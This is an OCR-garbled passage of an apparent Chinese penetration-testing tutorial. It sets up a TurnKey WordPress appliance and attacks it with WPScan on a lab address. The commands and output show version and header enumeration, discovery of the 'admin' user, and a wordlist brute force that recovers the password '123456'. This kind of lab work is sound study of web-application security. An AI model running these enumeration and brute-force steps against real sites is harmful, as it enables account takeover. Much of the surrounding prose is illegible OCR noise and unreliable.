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Tl ’R M K Fv ¥ APPS ¥ HELP ¥ BLOG » SCREENSHOTS » TURNKEY HlA
L | N U X

|~ Login | Register Search €

Have you checked out the TurnKey Hub yet? Try the live demo!

Total: 195.5 MB ($0.03/mo) Backup & Migration ra—— - Cloud Servers

Secure and easy server backups Rapidly explore and deploy
130.6 MB to Amazon S3. Automatically Virginia (East USA) 100+ free server apps in the
restore servers from backups. Amazon EC2 cloud.
64.9 MB Micro: $0.02/hour

Test backups in the cloud. Only a browser required.

Benefits

Blog
100+ ready-to-use solutions: discover and leverage the best free software. Deploy solutions What's the best way to do
quickly on bare metal, virtual machines, or in the cloud. free software bounties?
11th Apr, 2014
Free as in speech: free software with full source code and a powerful build system. Free of TumKey 13 critical M
http:/ v turnkeylinux.org/all h

>
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collaboration Management Framework Free .NET hosting
K
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Sahana Eden Ushahidi GitLab CouchDB
Humanitarian platform Crowdsourcing Crisis Self Hosted Git JS0N based Web
Information Management database
E n
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Web Stack (MySQL) online store PHP framework Content Management
management system and Web Application v
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K39 SrEIZR

e 58«



=7

CREAT e v

(3) FEZAEHEF 4N WordPress, #RJ5#% NIRI48E, & WormanlE 3.10 Frosi St .

W

WordPress X

‘WordPress - Blog Publishing Platform

WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web
standards, and usability. It is one of the worlds most popular blog publishing
applications, includes tons of powerful core functionality, extendable wvia literally

w hundreds of plugins, and supports full theming.

All

Etherpad Lite
Real-time document
collaboration

<

Specials

Issue tracking Messaging

L
o< net

Content management Web development

Joomla 2.5 Drupal 7 ASP .NET on Apache with
Cutting Edge Content Content Management Mod Mono
Management Framework Free .MET hosting

3.10 WordPress M FHFE/

(4) 7RSI v LU 2] WordPress 127 L2042, b i WordPress-Blog Publishing
Platform it N R 20U, @l 3.11 iR,

Tl l R M K Fv ¥ APPS ¥ HELP ¥ BLOG » SCREENSHOTS » TURNKEY HUB
X 2 1 N U % |~ Log in | Register = Go
» Help You are here: Home # Virtusl appliances » WordPress
T Apps Blogging | PHP | Content management E)subscribe
» Specials

*» IT Infrastructure

» Web development

-

Content management

v

Business management

v

Messaging

-

Issue tracking

v

Database
SDK

WordPress Updates

New TurnKey WordPress
ot rao o

<

WordPress - Blog Publishing Platform
| TURVIKEY
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RUN FROM BROWSER: Deploy WordPress in minutes to the Amazon EC2 cloud
TKLDEV SOURCE: github.com/turnkeylinux-apps/wordpress (?)

WordPress is a state-of-the-art publishing platform with a focus on aesthetics,
web standards, and usability. It is one of the worlds most popular blo
publishing applications, includes tons of powerful core functionality, extendable
via literally hundreds of plugins, and supports full theming.

Stable version: 13.0 (changelog)
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root@localhost:~# wpscan -h

| _ )¢
(N EU/Z N A NP I

WordPress Security Scanner by the WPScan Team
Version v2.2
Sponsored by the RandomStorm Open Source Initiative
@_WPScan_, @ethicalhack3r, @erwan_lIr, @gbrindisi, @_FireFart_

Help :

Some values are settable in conf/browser.conf.json :
user-agent, proxy, proxy-auth, threads, cache timeout and request timeout
m conf/browser.conf.json).
--basic-auth <username:password> Set the HTTP Basic authentication
--wordlist | -w <wordlist> Supply a wordlist for the password bruter and do the brute.
--threads | -t <number of threads> The number of threads to use when multi-threading
requests. (will override the value from conf/browser. conf.json)
--username | -U <username> Only brute force the supplied username.
--help | -h This help screen.
--verbose | -v Verbose output.

Examples :

-Further help ...
ruby ./wpscan.rb --help

-Do 'non-intrusive' checks ...
ruby ./wpscan.rb --url www.example.com

-Do wordlist password brute force on enumerated users using 50 threads ...
ruby ./wpscan.rb --url www.example.com --wordlist darkcOde.Ist --threads 50

-Do wordlist password brute force on the 'admin' username only ...
ruby ./wpscan.rb --url www.example.com --wordlist darkcOde.Ist --username admin

PATUL B A5, S KRG i ioE B 228 T WPSean [FIRRAME S EH 7
J WPScan [f16] 745, HFRIEFRKE, XEM T80 0e, HAEHARES .o Bt

(2) f#iHl WPScan X i WordPress fEfIHL. A5, WordPress [f] IP Hbhl 2
192.168.41.130, #7201 T FiR:

root@localhost:~# wpscan -u 192.168.41.130

\ A /) N/
AN A 7D
VOV N
VANV
VoL /0 N O O
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WordPress Security Scanner by the WPScan Team
Version v2.2
Sponsored by the RandomStorm Open Source Initiative
@_WPScan_, @ethicalhack3r, @erwan_lIr, @gbrindisi, @_FireFart_

| URL: http://192.168.41.130/
| Started: Thu Apr 17 13:49:37 2014

['] The WordPress 'http://192.168.41.130/readme.html' file exists

[+] Interesting header: SERVER: Apache/2.2.22 (Debian)

[+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8

[+] XML-RPC Interface available under: http://192.168.41.130/xmlrpc.php
[+] WordPress version 3.6.1 identified from meta generator

[+] WordPress theme in use: twentythirteen v1.0

| Name: twentythirteen v1.0
| Location: http://192.168.41.130/wp-content/themes/twentythirteen/

[+] Enumerating plugins from passive detection ...
No plugins found

[+] Finished: Thu Apr 17 13:49:41 2014
[+] Memory used: 2.414 MB
[+] Elapsed time: 00:00:03

R AE B2 R T WPScan — /M B Bt i A
(3) FIHH P 25K, PAT 2 W NR:
root@localhost:~# wpscan -u 192.168.41.130 -e u vp

A /) N/

WA /D e D
A\ N/ NN N
ARV o balra b
\VARVAR I (/2 N N O O O

WordPress Security Scanner by the WPScan Team
Version v2.2
Sponsored by the RandomStorm Open Source Initiative
@_WPScan_, @ethicalhack3r, @erwan_lIr, @gbrindisi, @_FireFart_

| URL: http://192.168.41.130/
| Started: Thu Apr 17 13:50:49 2014

[l The WordPress 'http://192.168.41.130/readme.html' file exists

[+] Interesting header: SERVER: Apache/2.2.22 (Debian)

[+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8

[+] XML-RPC Interface available under: http://192.168.41.130/xmlrpc.php
[+] WordPress version 3.6.1 identified from meta generator

[+] WordPress theme in use: twentythirteen v1.0

| Name: twentythirteen v1.0
| Location: http://192.168.41.130/wp-content/themes/twentythirteen/
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[+] Enumerating plugins from passive detection ...
No plugins found

[+] Enumerating usernames ...
[+] We found the following 1 user/s:
B e Ar
| 1d | Login | Name |
B e e Ar
|1 | admin | admin |
B e e +

[+] Finished: Thu Apr 17 13:50:54 2014

[+] Memory used: 2.379 MB

[+] Elapsed time: 00:00:04

A s PRI PUE B2 ARG A — AN, 4 admin.

(4) by WPScan #§ & —* wordlist SCf}, {# F--wordlist <path to file>JE 1. 1741
PR

root@localhost:~# wpscan -u 192.168.41.130 -e u --wordlist /root/ wordlist.txt

A /) N/
AN A B D I G
AV N/ NN N
A/ o bara
Vov o AN N

WordPress Security Scanner by the WPScan Team
Version v2.2
Sponsored by the RandomStorm Open Source Initiative
@_WPScan_, @ethicalhack3r, @erwan_lIr, @gbrindisi, @_FireFart_

| URL: http://192.168.41.130/
| Started: Thu Apr 17 13:54:51 2014

['] The WordPress 'http://192.168.41.130/readme.html' file exists

[+] Interesting header: SERVER: Apache/2.2.22 (Debian)

[+] Interesting header: X-POWERED-BY: PHP/5.4.4-14+deb7u8

[+] XML-RPC Interface available under: http://192.168.41.130/xmlrpc.php
[+] WordPress version 3.6.1 identified from meta generator

[+] WordPress theme in use: twentythirteen v1.0

| Name: twentythirteen v1.0
| Location: http://192.168.41.130/wp-content/themes/twentythirteen/

[+] Enumerating plugins from passive detection ...
No plugins found

[+] Enumerating usernames ...
[+] We found the following 1 user/s:
B e Ar
| Id | Login | Name |
B e e Ar
|1 | admin | admin |
B e e Ar

¢« H8
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[+] Starting the password brute forcer
Brute Forcing 'admin’ Time: 00:00:00 < > (59/20575) 0.28%
ETA: 00:00:00
[SUCCESS] Login : admin Password : 123456

p—— + + +
| Id | Login | Name | Password |
S — + + +
| 1 | admin | admin | 123456 |
+-t + + +

[+] Finished: Thu Apr 17 13:54:56 2014
[+] Memory used: 2.508 MB
[+] Elapsed time: 00:00:05

M A5 B, T LA E] WordPress FH 7 admin (#1505 CLg R HY o
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